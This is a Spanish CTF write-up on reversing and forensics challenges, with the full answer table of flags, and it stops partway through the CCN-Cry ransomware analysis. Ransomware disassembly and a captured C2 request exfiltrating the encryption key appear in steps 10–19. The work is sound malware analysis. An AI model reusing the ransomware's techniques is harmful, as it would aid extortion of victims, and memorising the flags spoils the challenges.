Informe técnico de resolución de retos CTF

Reversing y análisis forense

Retos	CCN-Cry · The Kraken · Spear Phishing (partes 1 y 2) · Go go go! · H0rr0crux
Entorno	Kali Linux 2026.2 (VirtualBox) y entorno de análisis en la nube
Contenido	Procedimiento, comandos exactos, evidencias, IOC y contexto
Autor	_____
Fecha	12 de noviembre de 2026

Todos los comandos de este documento se han ejecutado y verificado. Los binarios maliciosos **nunca** se ejecutan: el análisis es estático o mediante emulación de CPU.

Resumen ejecutivo

Se han resuelto los seis retos planteados (cinco retos, uno de ellos en dos partes). Todas las flags siguen el formato de la plataforma `flag{md5}`: el MD5 se calcula sobre el *valor* encontrado, sin el prefijo `Flag:` y sin salto de línea (`echo -n "valor" | md5sum`). En H0rr0crux la flag es directamente el MD5 del binario malicioso.

Reto	**Valor encontrado**	Flag	**Estado**
CCN-Cry	`JosephPopp1989`	`flag{c890082bbb38d2aad5eb182cac9fbc7e}`	Validada
The Kraken	`Kongespeilet1250`	`flag{d11c2e023a6a0fb3105121dade32232b}`	Verificada
Spear Phishing (1)	`CVE-2017-0199`	`flag{93b146d21d3bdc8635836f8a11ba62b9}`	Validada
Spear Phishing (2)	`http://dagobah.local/logo.doc`	`flag{fb7534ecc904766563ad711331a11121}`	Verificada
Go go go!	`RobPike2009`	`flag{f389c15c0ea41f12e53806fba659e2fb}`	Verificada
H0rr0crux	`httpd.exe` (Cobalt Strike)	`flag{dbe0e10775e35a58e8ff463ccbe5f7d8}`	Verificada

Validada: aceptada por la plataforma. **Verificada**: comprobada técnicamente (terminador nulo exacto, relleno PKCS#7 válido, extracción byte a byte, o correlación de evidencias + VirusTotal).

Hallazgos principales

- **CCN-Cry**: el ransomware envía su propia clave Blowfish al servidor de mando en la cabecera HTTP `Content-type`; la captura de red basta para descifrar. Trampa: solo usa 16 de los 32 caracteres.
- **The Kraken**: ejecutable de 932 bytes comprimido con Crinkler, imports resueltos por hash, flag descifrada con el valor de `GetACP()` y emitida por `OutputDebugStringA` (invisible en consola).
- **Spear Phishing**: RTF sin texto con un objeto `OLE2Link` + URL Moniker que se actualiza al abrir: CVE-2017-0199, URL `http://dagobah.local/logo.doc`.
- **Go go go!**: binario Go para MIPS con *environmental keying* (kernel 4.14.0, 3 CPUs, Linux), tres claves AES (dos señuelo) y flag cifrada con AES-128-CFB.
- **H0rr0crux**: forense de Windows; tras descartar cinco señuelos (SDelete renombrado, PE Look renombrado, VMProtect, un falso `tor.exe` y un `inject.exe` que nunca arrancó), SRUM señala a `httpd.exe`, un *stager* de Cobalt Strike disfrazado de Microsoft, como único responsable del tráfico.

Índice

Resumen ejecutivo **1**

1. Metodología y convenciones **5**
1.1. Principios seguidos . . . 5
1.2. Entorno . . . 5
1.3. Cómo leer este documento . . . 5

2. Preparación del entorno **5**

3. Reversing: CCN-Cry **9**
3.1. Ficha del reto . . . 9
3.2. Enunciado . . . 9
3.3. Ficheros analizados . . . 9
3.4. Resumen del análisis . . . 9
3.5. Procedimiento paso a paso . . . 10
3.6. Resultado . . . 18
3.7. Funcionamiento del ransomware . . . 18
3.8. Indicadores de compromiso (IOC) . . . 18
3.9. Técnicas observadas (MITRE ATT&CK) . . . 19
3.10. Contexto: ¿por qué se llama así? . . . 19
3.11. Conclusión . . . 19

4. Reversing: The Kraken **20**
4.1. Ficha del reto . . . 20
4.2. Enunciado . . . 20
4.3. Ficheros analizados . . . 20
4.4. Resumen del análisis . . . 20
4.5. Procedimiento paso a paso . . . 20
4.6. Resultado . . . 26
4.7. Imports resueltos por hash . . . 26
4.8. Algoritmo de descifrado . . . 26
4.9. Técnicas observadas (MITRE ATT&CK) . . . 26
4.10. Contexto: ¿por qué se llama así? . . . 26
4.11. Conclusión . . . 27

5. Reversing: Spear Phishing... Can you catch me? (partes 1 y 2) **28**
5.1. Ficha del reto . . . 28
5.2. Enunciado . . . 28
5.3. Ficheros analizados . . . 28
5.4. Resumen del análisis . . . 28
5.5. Procedimiento paso a paso . . . 28

5.6. Resultado . . . 31
5.7. Cómo funciona CVE-2017-0199 . . . 31
5.8. Descarte de CVE similares . . . 32
5.9. Indicadores de compromiso (IOC) . . . 32
5.10. Técnicas observadas (MITRE ATT&CK) . . . 32
5.11. Contexto: ¿por qué se llama así? . . . 32
5.12. Conclusión . . . 33

6. Reversing: Go go go! 34
6.1. Ficha del reto . . . 34
6.2. Enunciado . . . 34
6.3. Ficheros analizados . . . 34
6.4. Resumen del análisis . . . 34
6.5. Procedimiento paso a paso . . . 34
6.6. Resultado . . . 40
6.7. Flujo de `main.main` . . . 40
6.8. Señuelos . . . 40
6.9. Técnicas observadas (MITRE ATT&CK) . . . 40
6.10. Contexto: ¿por qué se llama así? . . . 41
6.11. Conclusión . . . 41

7. H0rr0crux 42
7.1. Ficha del reto . . . 42
7.2. Enunciado . . . 42
7.3. Ficheros analizados . . . 42
7.4. Resumen del análisis . . . 43
7.5. Procedimiento paso a paso . . . 43
7.6. Resultado . . . 52
7.7. Línea de tiempo (20/12/2021, UTC) . . . 52
7.8. Candidatos y señuelos . . . 52
7.9. Qué aporta cada artefacto . . . 53
7.10. ¿Por qué Cobalt Strike y no Gozi? . . . 53
7.11. Indicadores de compromiso (IOC) . . . 53
7.12. Técnicas observadas (MITRE ATT&CK) . . . 54
7.13. Contexto: ¿por qué se llama así? . . . 54
7.14. Conclusión . . . 54

A. Scripts utilizados 55
A.1. `amcache_dump.py` . . . 55
A.2. `evtx_grep.py` . . . 55
A.3. `evtx_range.py` . . . 56
A.4. `go_decrypt.py` . . . 57

A.5. go_mips_disasm.py 57
A.6. go_pclntab.py 58
A.7. kraken_emu.py 59
A.8. kraken_solve.py 59
A.9. mft_record.py 60
A.10. pe_info.py 62
A.11. prefetch_timeline.sh 63
A.12. rtf_url.py 63
A.13. srum_net.py 64
A.14. vt_lookup.sh 64

B. Referencias **64**

1. Metodología y convenciones

1.1. Principios seguidos

1. **Integridad**: verificar el hash de cada fichero contra el enunciado antes de analizarlo.
2. **Seguridad**: no ejecutar nunca el malware. Se usa análisis estático (`objdump`, `strings`, `readelf`, `rtfobj`), emulación de CPU (Unicorn) y, solo para el binario Go, emulación de espacio de usuario (`qemu-mips`) tras revisar su código.
3. **Buscar lo que no cuadra**: nombres que no corresponden a su contenido, rutas impropias, tamaños absurdos, cabeceras anómalas, metadatos falsos, señuelos.
4. **Correlacionar**: ninguna conclusión se apoya en un único artefacto.
5. **Reproducibilidad**: cada paso tiene su comando exacto y la salida que produce.

1.2. Entorno

- **Análisis inicial**: contenedor Linux aislado en la nube (Ubuntu 24.04), desechable.
- **Réplica**: máquina virtual **Kali Linux 2026.2** en VirtualBox (2 GB RAM, 2 CPU, red NAT), shell `zsh`. Se recomienda tomar una instantánea (*Machine* → *Take Snapshot*) antes de empezar.

1.3. Cómo leer este documento

- **Caja oscura** con barra de título `(kali@kali)-[carpeta]$`: comando exacto a escribir en la terminal, en la carpeta indicada. Programas en **verde**, palabras clave del shell en **rosa**, cadenas en amarillo, variables en morado. Una flecha ↪ indica que la línea continúa (no hay que pulsar Intro).
- **Caja clara con borde azul**: salida esperada. Se obtuvo ejecutando exactamente ese comando en un entorno de prueba; en Kali cambiarán el usuario (`kali` en lugar de `root`), las fechas de los ficheros extraídos y los tiempos.
- **Caja azul de nota**: interpretación de la salida.
- **Caja naranja**: hueco para la captura de pantalla del paso. Guardar la captura como `capturas/<id>.png` (el nombre exacto aparece en la caja) y recompilar; la imagen sustituye a la caja automáticamente. La lista completa está en `capturas/LEEME.txt`.

Seguridad

Los ficheros de los retos contienen malware real o simulado (ransomware, *stagers* de Cobalt Strike, documentos con exploits). Trabaja dentro de la VM, no ejecutes los binarios y no abras `Nominas.rtf` con Word/WordPad. La VM tiene una carpeta compartida con el anfitrión: no copies ahí ningún fichero de los retos.

2. Preparación del entorno

Todos los retos se replican en `~/ctf`. Las herramientas se instalan una sola vez. Los scripts propios (apéndice A) se descargan del repositorio `moulyk-gg/retos` (rama `informe-retos`) y los retos del *release* `V1` del mismo repositorio.

> Kali usa `zsh`. Por eso las rutas con `!` (“Reversing Go go go!”) van entre comillas *simples*: entre comillas dobles, `zsh` intentaría una expansión de historial.

Paso 1. Actualizar índices de paquetes

Abrir una terminal en la VM de Kali (usuario `kali`, contraseña `kali`).

```
(kali@kali)-[~/ctf]$
sudo apt update
```

Paso 2. Instalar herramientas del sistema

`DEBIAN_FRONTEND=noninteractive` evita la pregunta interactiva de `tshark` sobre captura sin privilegios. `unrar` es el descompresor oficial de RAR (el `7zip` de Debian no trae soporte RAR).

```
(kali@kali)-[~/ctf]$
sudo DEBIAN_FRONTEND=noninteractive apt install -y 7zip unrar tshark xxd openssl \
  binutils libscca-utils libesedb-utils python3-evtx python3-venv jq git curl qemu-user
```

Paso 3. Crear un entorno virtual de Python

Kali no permite `pip install` global (PEP 668). El *venv* con `-system-site-packages` ve además los módulos instalados con `apt` (`python3-evtx`).

```
(kali@kali)-[~/ctf]$
python3 -m venv --system-site-packages ~/ctf-venv
```

Paso 4. Activar el entorno virtual

```
(kali@kali)-[~/ctf]$
source ~/ctf-venv/bin/activate
```

> **Importante:** repetir este comando (y el `export S=...` del paso 2) en *cada* terminal nueva.

Paso 5. Instalar librerías de Python

`unicorn`: emulador de CPU; `capstone`: desensamblador; `pefile`/`pyelftools`: formatos PE y ELF; `pycryptodome`: AES; `oletools`: `rtfobj`; `regipy`: registro de Windows.

```
(kali@kali)-[~/ctf]$
pip install unicorn capstone pefile pyelftools pycryptodome oletools regipy
```

Paso 6. Carpeta de trabajo

```
(kali@kali)-[~/ctf]$
mkdir -p ~/ctf && cd ~/ctf
```

Paso 7. Descargar los scripts del análisis

```
(kali@kali)-[~/ctf]$
git clone -b informe-retos https://github.com/moulyk-gg/retos.git repo
```

Paso 8. Variable con la ruta de los scripts

```
(kali@kali)-[~/ctf]$
export S=~/ctf/repo/scripts
```

Paso 9. Descargar los retos (871 MB)

```
(kali@kali)-[~/ctf]$
curl -L -o retos.zip https://github.com/moulyk-gg/retos/releases/download/V1/retos.zip
```

Paso 10. Verificar la integridad de la descarga

```
(kali@kali)-[~]$
cd ~/ctf && sha256sum retos.zip
```

Salida esperada

```
1b6dab75acda2553506501bc713093f798aaf342e0e117ea1e46333a1822aa35  retos.zip
```

Debe coincidir con el SHA-256 publicado en el *release* de GitHub.

Captura pendiente — guardar la captura de este paso como `capturas/prep-10.png` y recompilar.

Paso 11. Extraer los retos

```
(kali@kali)-[~/ctf]$
7z x retos.zip | tail -4
```

Salida esperada

```
Folders: 6
Files: 11
Size:       871821825
Compressed: 871822107
```

Captura pendiente — guardar la captura de este paso como `capturas/prep-11.png` y recompilar.

Paso 12. Estructura de los retos

```
(kali@kali)-[~/ctf]$
ls -1 retos/
```

Salida esperada

```
HOrrOcrux
Reversing CCN-Cry
Reversing Go go go!
Reversing Spear Phising... Can you catch me
Reversing The Kraken
```

Captura pendiente — guardar la captura de este paso como `capturas/prep-12.png` y recompilar.

3. Reversing: CCN-Cry

3.1. Ficha del reto

Categoría	Reversing / forense de red
Dificultad	2/5
Contraseña	`infected` (zip)
Objetivo	Descifrar `Secret.txt.CCN_CRY` y obtener la flag
Herramientas	`7z`, `tshark`, `capinfos`, `objdump`, `strings`, `openssl`, `xxd`

3.2. Enunciado

> *Un equipo de la organización ha quedado inutilizado. Según las evidencias recogidas hasta el momento, parece que se descargó y ejecutó algún ransomware. Entre los ficheros afectados se encuentra "Secret.txt.CCN_CRY", el cual necesitamos descifrar con urgencia. ¿Nos ayudas a descifrarlo? La contraseña del zip es* ***infected****.*

3.3. Ficheros analizados

Fichero	Bytes	Descripción
`evidencia.zip`	41.844	Zip cifrado (AES) del enunciado
		`MD5 fc04df37aeca594a00cb1844c3bbb980` `SHA1 d3b635adf720365ea53dcf42751c4e4eff509f05`
		`SHA256 f2a3dc39d09715b114c81e47946ee0f81040263848203b3058c214a6ea68e2f3`
`Secret.txt.CCN_CRY`	24	Fichero cifrado por el ransomware
		`MD5 fba2221b98cb79397ef87876c1c70938` `SHA1 2f60158a68647d65b93c8fb18a34dd4e7e1c59fe`
		`SHA256 97e3188fd69838d3427cf352e0d1b5001ae2c4d1a4a1eba9f99e674cb398634c`
`incident-a1000032.pcapng`	197.076	Captura de red del incidente
		`MD5 2bff4bbc2a0d8a9b7457e5db8f09a5af` `SHA1 51a1d55db67e885032ed22fb66dcd34890eb0d7c`
		`SHA256 adfb2b7b62942c691f3cc6320e897921a9dd771f2a0a139a37bdf8ad0d710628`
`wget.tar.gz`	5.811	Descargado por la víctima (extraído de la captura)
		`MD5 d3bfdc63d490577c57ca3ea942cb42ea` `SHA1 3c1c96a6238c99b9d36ee79da5d70fe48483b350`
		`SHA256 0e7b43e9384704c4ae38950832d05a2fda9dc29ac0c6068dfbd2e930f9662330`
`ccn_cry`	14.936	Ransomware, ELF x86-64 *stripped*
		`MD5 e1e1d64b6d6349ed81fa4ee0913ef931` `SHA1 c6828b737cf465aaa30b1a6059653c2f0224b25e`
		`SHA256 28de3e9cf2d6fb6805080d7502f4936ccf2cccc88fe09241602faf5b28433127`
`Secret.txt`	20	Fichero descifrado
		`MD5 22c4d9e76544c9d7300da7c09752bea3` `SHA1 ebec187d1d87907d30ec480fad170e513649a1e3`
		`SHA256 d8f8edcbdcc3dd3f9bd7534bb18d613110e63387130a3082d1f711421fe25dbe`

3.4. Resumen del análisis

1. `evidencia.zip` (cifrado AES) contiene `incident-a1000032.pcapng`, la captura de red del incidente.
2. La víctima (`192.168.1.41`, *hostname* `oat12`) descarga por HTTP `wget.tar.gz` desde `192.168.1.37`; dentro está el ransomware `ccn_cry` (ELF x86-64).

3. El ransomware genera con `srand(time(0))/rand()` una clave de 32 caracteres y un IV de 8, cifra con Blowfish-CBC y envía `clave:iv:hostname` al servidor de mando en la cabecera `Content-type`.
4. Con la clave (**solo sus 16 primeros caracteres**, que es lo que usa el binario) y el IV recuperados de la captura, OpenSSL descifra el fichero.

3.5. Procedimiento paso a paso

Paso 1. Preparar la carpeta del reto

Se copian los ficheros del reto con su nombre original (sin el sufijo con el hash).

```
(kali@kali)-[~]$
mkdir -p ~/ctf/ccn-cry && cd ~/ctf/ccn-cry && cp \
  ~/ctf/retos/'Reversing CCN-Cry'/evidencia-*.zip evidencia.zip && cp \
  ~/ctf/retos/'Reversing CCN-Cry'/Secret-*.CCN_CRY Secret.txt.CCN_CRY && ls -l
```

Salida esperada

```
total 48
-rw-r--r-- 1 root root    24 Nov 12 06:09 Secret.txt.CCN_CRY
-rw-r--r-- 1 root root 41844 Nov 12 06:09 evidencia.zip
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-01.png` y recompilar.

Paso 2. Verificar los MD5 contra el enunciado

```
(kali@kali)-[~/ctf/ccn-cry]$
md5sum evidencia.zip Secret.txt.CCN_CRY
```

Salida esperada

```
fc04df37aeca594a00cb1844c3bbb980  evidencia.zip
fba2221b98cb79397ef87876c1c70938  Secret.txt.CCN_CRY
```

Coinciden con los publicados: `fc04df37...` y `fba2221b...`.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-02.png` y recompilar.

Paso 3. Ver el fichero cifrado

```
(kali@kali)-[~/ctf/ccn-cry]$
xxd Secret.txt.CCN_CRY
```

Salida esperada

```
00000000: ea04 6223 4ee0 a00d eebe f992 c483 6467  ..b#N.........dg
00000010: 16a1 8947 2475 c3fc                      ...G$u..
```

24 bytes = 3 bloques de 8 bytes: compatible con un cifrado de bloque de 64 bits (Blowfish, DES, ...) con relleno PKCS#5.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-03.png` y recompilar.

Paso 4. Primera rareza: unzip no puede abrir el zip

```
(kali@kali)-[~/ctf/ccn-cry]$
unzip -P infected evidencia.zip
```

Salida esperada

```
Archive:  evidencia.zip
   skipping: incident-a1000032.pcapng  need PK compat. v5.1 (can do v4.6)
```

`need PK compat. v5.1`: el zip usa cifrado **AES**, que `unzip` no soporta. Hay que usar `7z`.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-04.png` y recompilar.

Paso 5. Método de cifrado del zip

```
(kali@kali)-[~/ctf/ccn-cry]$
7z l -slt -pinfected evidencia.zip | grep -E '^(Path|Size|Method|Encrypted)'
```

Salida esperada

```
Path = evidencia.zip
Path = incident-a1000032.pcapng
Size = 197076
Encrypted = +
Method = AES-128 Deflate
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-05.png` y recompilar.

Paso 6. Extraer la evidencia

```
(kali@kali)-[~/ctf/ccn-cry]$
7z x -pinfected evidencia.zip | tail -3 && ls -l incident-a1000032.pcapng
```

Salida esperada

```
Size:       197076
Compressed: 41844
-rw-r--r-- 1 root root 197076 Jan  9  2019 incident-a1000032.pcapng
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-06.png` y recompilar.

Paso 7. Resumen de la captura

```
(kali@kali)-[~/ctf/ccn-cry]$
capinfos incident-a1000032.pcapng | grep \
  -E 'File type|Number of packets|File size|First packet|Last packet|Capture duration'
```

Salida esperada

```
File type:           Wireshark/... - pcapng
Number of packets:   2112
File size:           197 kB
Capture duration:    116.876137466 seconds
First packet time:   2019-01-09 17:14:17.835216654
Last packet time:    2019-01-09 17:16:14.711354120
                     Number of packets = 2112
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-07.png` y recompilar.

Paso 8. Jerarquía de protocolos

```
(kali@kali)-[~/ctf/ccn-cry]$
tshark -r incident-a1000032.pcapng -q -z io,phs
```

Salida esperada

```
===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:2112 bytes:126996
  ip                                     frames:2112 bytes:126996
    tcp                                  frames:2112 bytes:126996
      http                               frames:3 bytes:6574
        media                            frames:1 bytes:6173
===================================================================
```

Todo es TCP y solo hay 3 tramas HTTP: el resto (2.000+) es un escaneo de puertos posterior (puerto origen 63903 contra 1000 puertos).

Captura pendiente — guardar la captura de este paso como `capturas/ccn-08.png` y recompilar.

Paso 9. Conversaciones TCP

```
(kali@kali)-[~/ctf/ccn-cry]$
tshark -r incident-a1000032.pcapng -q -z conv,tcp | head -9
```

Salida esperada

```
================================================================================
TCP Conversations
Filter:<No Filter>
                                                     |       <-      | |       ->      |
    ↪ |     Total     |    Relative    |   Duration   |
                                                     | Frames  Bytes | | Frames  Bytes |
    ↪ | Frames  Bytes |      Start     |              |
192.168.1.41:60212         <-> 192.168.1.37:80                4 6379 bytes       6 552 bytes
    ↪      10 6931 bytes     0.000000000         0.0031
192.168.1.41:45988         <-> 192.168.1.37:8080              3 206 bytes       5 459 bytes
    ↪      8 665 bytes      0.007735631         0.0010
192.168.1.41:63903         <-> 192.168.1.37:22                1 58 bytes        2 120 bytes
    ↪      3 178 bytes    112.059715807         0.0003
192.168.1.41:63903         <-> 192.168.1.37:80                1 58 bytes        2 120 bytes
    ↪      3 178 bytes    113.161928249         0.0003
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-09.png` y recompilar.

Paso 10. Peticiones HTTP: descarga y "llamada a casa"

```
(kali@kali)-[~/ctf/ccn-cry]$
tshark -r incident-a1000032.pcapng -Y http.request -T fields -e frame.number -e ip.src \
  -e ip.dst -e tcp.dstport -e http.host -e http.request.uri -e http.content_type
```

Salida esperada

```
4       192.168.1.41    192.168.1.37    80      192.168.1.37    /wget.tar.gz
14      192.168.1.41    192.168.1.37    8080    www.aarkaposleeqaasssf.tk       /user.php
    ↪  gAu,UovL8;,B2fOT1xRZa?r3wpvD856r:B;?ShTiD:oat12
```

La víctima `192.168.1.41` descarga `/wget.tar.gz` y después hace `GET /user.php` contra `www.aarkaposleeqaasssf.tk:8080`. **Cosa rara clave:** la cabecera `Content-type` no es un tipo MIME.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-10.png` y recompilar.

Paso 11. Contenido completo de la petición al C2

```
(kali@kali)-[~/ctf/ccn-cry]$
tshark -r incident-a1000032.pcapng -q -z follow,tcp,ascii,1
```

Salida esperada

```
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 192.168.1.41:45988
Node 1: 192.168.1.37:8080
121
GET /user.php HTTP/1.0
Host: www.aarkaposleeqaasssf.tk
Content-type: gAu,UovL8;,B2fOT1xRZa?r3wpvD856r:B;?ShTiD:oat12


===================================================================
```

Formato `campo1:campo2:campo3`: 32 caracteres, 8 caracteres y `oat12` (el *hostname*).

Captura pendiente — guardar la captura de este paso como `capturas/ccn-11.png` y recompilar.

Paso 12. Exportar los objetos HTTP de la captura

```
(kali@kali)-[~/ctf/ccn-cry]$
tshark -r incident-a1000032.pcapng --export-objects http,http_objs > /dev/null && ls \
  -l http_objs
```

Salida esperada

```
total 8
-rw-r--r-- 1 root root 5811 Nov 12 06:09 wget.tar.gz
```

Captura pendiente — guardar la captura de este paso como `capturas/ccn-12.png` y recompilar.

Paso 13. Extraer el ransomware

```
(kali@kali)-[~/ctf/ccn-cry]$
tar -tzvf http_objs/wget.tar.gz && tar -xzf http_objs/wget.tar.gz && file ccn_cry && \
  md5sum ccn_cry
```

Salida esperada

```
-rwxr-xr-x root/root     14936 2019-01-09 17:03 ccn_cry
ccn_cry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
    ↪ interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5
    ↪ fe8fb54bbc1f32d570ad4892be5b21db657f966, stripped
e1e1d64b6d6349ed81fa4ee0913ef931  ccn_cry
```

No ejecutar `ccn_cry`: es el ransomware. Todo el análisis siguiente es estático.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-13.png` y recompilar.

Paso 14. Funciones importadas relevantes

```
(kali@kali)-[~/ctf/ccn-cry]$
objdump -T ccn_cry | grep \
  -E 'EVP_|srand|rand|time|gethostname|socket|connect|opendir|remove'
```

Salida esperada

```
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherInit_ex
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_bf_cbc
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) opendir
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) connect
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) gethostname
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CIPHER_CTX_set_key_length
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CIPHER_CTX_new
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) socket
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherFinal_ex
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CIPHER_CTX_reset
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) srand
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) remove
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherUpdate
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) rand
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) time
```

`EVP_bf_cbc`: Blowfish-CBC de OpenSSL. `srand`/`rand`/`time`: clave pseudoaleatoria. `socket`/`connect`: envío al C2. `opendir`/`remove`: recorre directorios y borra los originales.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-14.png` y recompilar.

Paso 15. Cadenas interesantes

```
(kali@kali)-[~/ctf/ccn-cry]$
strings -n 4 ccn_cry | grep -E 'CCN_CRY|Content-type|user.php|aarkap|abcdef|/home/|Key='
```

Salida esperada

```
.CCN_CRYH
/home/robertM/
www.aarkaposleeqaasssf.tk
GET /user.php HTTP/1.0
Content-type: %s
Key= %s  iv= %s (%s)
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#@$%&(){};'?!
```

Alfabeto de 78 caracteres para generar claves, directorio objetivo `/home/robertM/`, plantilla de la petición HTTP y un `printf` de depuración `Key= %s iv= %s`.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-15.png` y recompilar.

Paso 16. Generación de clave (32) e IV (8)

```
(kali@kali)-[~/ctf/ccn-cry]$
objdump -d -M intel --no-show-raw-insn --start-address=0x1cdf --stop-address=0x1d4d \
  ccn_cry | tail -n +7
```

Salida esperada

```
0000000000001cdf <.text+0xb1f>:
    1cdf:       push   rbp
    1ce0:       mov    rbp,rsp
    1ce3:       sub    rsp,0x450
    1cea:       mov    QWORD PTR [rbp-0x438],rdi
    1cf1:       mov    QWORD PTR [rbp-0x440],rsi
    1cf8:       mov    QWORD PTR [rbp-0x448],rdx
    1cff:       mov    edi,0x8
    1d04:       call   19f4 <__cxa_finalize@plt+0x844>
    1d09:       mov    QWORD PTR [rbp-0x8],rax
    1d0d:       mov    edi,0x20
    1d12:       call   19f4 <__cxa_finalize@plt+0x844>
    1d17:       mov    QWORD PTR [rbp-0x10],rax
    1d1b:       lea    rax,[rbp-0x430]
    1d22:       mov    esi,0x400
    1d27:       mov    rdi,rax
    1d2a:       call   1060 <gethostname@plt>
    1d2f:       mov    rcx,QWORD PTR [rbp-0x8]
    1d33:       mov    rdx,QWORD PTR [rbp-0x10]
    1d37:       lea    rsi,[rbp-0x430]
    1d3e:       mov    rax,QWORD PTR [rbp-0x440]
    1d45:       mov    rdi,rax
    1d48:       call   1a97 <__cxa_finalize@plt+0x8e7>
```

`mov edi,0x8` y `mov edi,0x20` antes de `call 0x19f4`: cadenas aleatorias de 8 y 32 caracteres; después `gethostname`.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-16.png` y recompilar.

Paso 17. Función generadora: charset[rand() \% 78]

```
(kali@kali)-[~/ctf/ccn-cry]$
objdump -d -M intel --no-show-raw-insn --start-address=0x1a23 --stop-address=0x1a73 \
  ccn_cry | tail -n +7
```

Salida esperada

```
0000000000001a23 <.text+0x863>:
    1a23:       call   1160 <rand@plt>
    1a28:       mov    ecx,eax
    1a2a:       mov    edx,0xd20d20d3
    1a2f:       mov    eax,ecx
    1a31:       imul   edx
    1a33:       lea    eax,[rdx+rcx*1]
    1a36:       sar    eax,0x6
    1a39:       mov    edx,eax
    1a3b:       mov    eax,ecx
    1a3d:       sar    eax,0x1f
    1a40:       sub    edx,eax
    1a42:       mov    eax,edx
    1a44:       mov    DWORD PTR [rbp-0x14],eax
    1a47:       mov    eax,DWORD PTR [rbp-0x14]
    1a4a:       imul   eax,eax,0x4e
```

```
    1a4d:       sub    ecx,eax
    1a4f:       mov    eax,ecx
    1a51:       mov    DWORD PTR [rbp-0x14],eax
    1a54:       mov    eax,DWORD PTR [rbp-0x4]
    1a57:       movsxd rdx,eax
    1a5a:       mov    rax,QWORD PTR [rbp-0x10]
    1a5e:       lea    rcx,[rdx+rax*1]
    1a62:       mov    eax,DWORD PTR [rbp-0x14]
    1a65:       movsxd rdx,eax
    1a68:       lea    rax,[rip+0x201731]        # 2031a0 <__cxa_finalize@plt+0x201ff0>
    1a6f:       movzx  eax,BYTE PTR [rdx+rax*1]
```

`imul eax,eax,0x4e` = multiplicar por 78 para calcular el resto de `rand()` entre 78 (tamaño del alfabeto).

Captura pendiente — guardar la captura de este paso como `capturas/ccn-17.png` y recompilar.

Paso 18. Construcción de la cabecera: separadores ':' y salto de línea

```
(kali@kali)-[~/ctf/ccn-cry]$
objdump -d -M intel --no-show-raw-insn --start-address=0x16dc --stop-address=0x17b4 \
  ccn_cry | grep -E 'call|WORD PTR \[rax\]'
```

Salida esperada

```
    16f1:       call   10e0 <strcpy@plt>
    171f:       mov    WORD PTR [rax],0x3a
    1739:       call   1040 <strcat@plt>
    1767:       mov    WORD PTR [rax],0x3a
    1781:       call   1040 <strcat@plt>
    17af:       mov    WORD PTR [rax],0xa
```

`strcpy`, `0x3a` (`:`), `strcat`, `0x3a`, `strcat`, `0xa` (`\n`).

Captura pendiente — guardar la captura de este paso como `capturas/ccn-18.png` y recompilar.

Paso 19. La trampa: longitud de clave fijada a 16 bytes

```
(kali@kali)-[~/ctf/ccn-cry]$
objdump -d -M intel --no-show-raw-insn --start-address=0x2064 --stop-address=0x20db \
  ccn_cry | tail -n +7
```

Salida esperada

```
0000000000002064 <.text+0xea4>:
    2064:       mov    rax,QWORD PTR [rbp-0x60]
    2068:       mov    rdi,rax
    206b:       call   10c0 <EVP_CIPHER_CTX_reset@plt>
    2070:       call   fa0 <EVP_bf_cbc@plt>
    2075:       mov    rsi,rax
    2078:       mov    rax,QWORD PTR [rbp-0x60]
    207c:       mov    r9d,0x1
    2082:       mov    r8d,0x0
    2088:       mov    ecx,0x0
    208d:       mov    edx,0x0
    2092:       mov    rdi,rax
    2095:       call   f30 <EVP_CipherInit_ex@plt>
    209a:       mov    rax,QWORD PTR [rbp-0x60]
    209e:       mov    esi,0x10
    20a3:       mov    rdi,rax
```

```
    20a6:       call   1070 <EVP_CIPHER_CTX_set_key_length@plt>
    20ab:       mov    rcx,QWORD PTR [rbp-0x90]
    20b2:       mov    rdx,QWORD PTR [rbp-0x88]
    20b9:       mov    rax,QWORD PTR [rbp-0x60]
    20bd:       mov    r9d,0x1
    20c3:       mov    r8,rcx
    20c6:       mov    rcx,rdx
    20c9:       mov    edx,0x0
    20ce:       mov    esi,0x0
    20d3:       mov    rdi,rax
    20d6:       call   f30 <EVP_CipherInit_ex@plt>
```

`mov esi,0x10` antes de `EVP_CIPHER_CTX_set_key_length`: de los 32 caracteres de la clave **solo se usan los 16 primeros**.

Captura pendiente — guardar la captura de este paso como `capturas/ccn-19.png` y recompilar.

Paso 20. Extraer clave e IV de la captura

```
(kali@kali)-[~/ctf/ccn-cry]$
CT=$(tshark -r incident-a1000032.pcapng -Y 'http.request.uri == "/user.php"' -T fields \
  -e http.content_type)
